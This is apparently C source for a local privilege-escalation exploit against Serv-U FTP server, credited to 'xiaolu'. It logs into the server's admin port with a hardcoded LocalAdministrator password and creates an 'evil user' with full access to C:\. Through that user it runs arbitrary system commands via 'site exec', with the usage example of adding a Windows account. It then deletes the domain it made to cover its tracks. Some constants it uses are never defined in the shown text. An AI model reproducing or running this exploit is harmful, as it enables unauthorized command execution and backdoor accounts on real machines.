#define XPLUSER                    "USER xl\r\n"
#define XPLPASSWORD                "PASS 111111\r\n"
#define USER                    "USER LocalAdministrator\r\n"
#define PASSWORD                "PASS #l@$ak#.lk;0@P\r\n"

#define MAINTENANCE             "SITE MAINTENANCE\r\n"
#define EXIT                    "QUIT\r\n"
char newdomain[]="-SETDOMAIN\r\n"
                 "-Domain=xl|0.0.0.0|2121|-1|1|0\r\n"
   "-TZOEnable=0\r\n"
   " TZOKey=\r\n";
/*               "-DynDNSEnable=0\r\n"
                 " DynIPName=\r\n";
*/
char deldomain[]="-DELETEDOMAIN\r\n"
                 "-IP=0.0.0.0\r\n"
                 " PortNo=2121\r\n";

char newuser[] =
                "-SETUSERSETUP\r\n"
                "-IP=0.0.0.0\r\n"
                "-PortNo=2121\r\n"
                "-User=xl\r\n"
                "-Password=111111\r\n"
                "-HomeDir=c:\\\r\n"
                "-LoginMesFile=\r\n"
                "-Disable=0\r\n"
                "-RelPaths=1\r\n"
                "-NeedSecure=0\r\n"
                "-HideHidden=0\r\n"
                "-AlwaysAllowLogin=0\r\n"
                "-ChangePassword=0\r\n"
                "-QuotaEnable=0\r\n"
                "-MaxUsersLoginPerIP=-1\r\n"
                "-SpeedLimitUp=0\r\n"
                "-SpeedLimitDown=0\r\n"
                "-MaxNrUsers=-1\r\n"
                "-IdleTimeOut=600\r\n"
                "-SessionTimeOut=-1\r\n"
                "-Expire=0\r\n"
                "-RatioUp=1\r\n"
                "-RatioDown=1\r\n"
                "-RatiosCredit=0\r\n"
                "-QuotaCurrent=0\r\n"
                "-QuotaMaximum=0\r\n"
                "-Maintenance=System\r\n"
                "-PasswordType=Regular\r\n"
                "-Ratios=None\r\n"
                " Access=c:\\|RWAMELCDP\r\n";

#define localip "127.0.0.1"

char cadena[1024];
int rec,domain;
/******************************************************************************/

void ParseCommands(int sock, char *data, int ShowSend, int showResponses,
char *response) {
 send(sock,data,strlen(data),0);
 if (ShowSend) printf(">%s",data);
 Sleep(100);
 do {
         rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
         if (rec<=0) return;
         if (showResponses) printf("<%s",cadena);
         if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0)
                domain=atoi(cadena+strlen(DOMAINID));
 //} while (strncmp(cadena,response,strlen(response))!=0);
 } while (strstr(cadena,response)==NULL);
  printf("******************************************************\r\n");
}
/******************************************************************************/
int main(int argc, char* argv[])
{
 WSADATA ws;
        int sock,sock2;

        struct sockaddr_in su;
        struct sockaddr_in xpl;

printf("Serv-u >3.x Local Exploit by xiaolu\r\n\r\n");
if (argc<3) {
        printf("USAGE: serv-u.exe port \"command\"\r\n");
        printf("Example: serv-u.exe 43958 \"net user xl xiaoxue /add\"");
         return(0);
}

        if (WSAStartup( MAKEWORD(2,2), &ws )!=0) {
  printf(" [-] WSAStartup() error\n");
  exit(0);
 }

 su.sin_family = AF_INET;
 su.sin_port = htons(strtoul(argv[1],NULL,10));
 su.sin_addr.s_addr = inet_addr(localip);
        sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
        connect(sock,( struct sockaddr *)&su,sizeof(su));
        rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
        printf("<%s",cadena);

        ParseCommands(sock,USER,1,1,USEROK);
        ParseCommands(sock,PASSWORD,1,1,PASSOK);
        ParseCommands(sock,MAINTENANCE,1,0,"230 ");

        printf("[+] Creating New Domain...\r\n");
        ParseCommands(sock,newdomain,0,1,BANNER);
        printf("[+] Domain xl:%i Created\n",domain);

/* Only for v5.x
        printf("[+] Setting New Domain Online\r\n");
        sprintf(cadena,"-SERVERCOMMAND\r\n-ID=%i\r\n
Command=DomainOnline\r\n",domain);
        ParseCommands(sock,cadena,0,1,BANNER);
*/
        printf("[+] Creating Evil User\r\n");
        ParseCommands(sock,newuser,0,1,"200 ");
        Sleep(1000);

        printf("[+] Now Exploiting...\r\n");
 xpl.sin_family = AF_INET;
 xpl.sin_port = htons(2121);
 xpl.sin_addr.s_addr = inet_addr(localip);
        sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
        connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl));
        rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]='\0';
        ParseCommands(sock2,XPLUSER,1,1,USEROK);
        ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK);
        printf("[+] Now Executing: %s\r\n",argv[2]);
        sprintf(cadena,"site exec %s\r\n",argv[2]);
        send(sock2,cadena,strlen(cadena),0);
        shutdown(sock2,SD_BOTH);
        Sleep(100);
        ParseCommands(sock,deldomain,0,1,BANNER);
        send(sock,EXIT,strlen(EXIT),0);
        shutdown(sock,SD_BOTH);
        closesocket(sock);
        closesocket(sock2);

        return 0;
}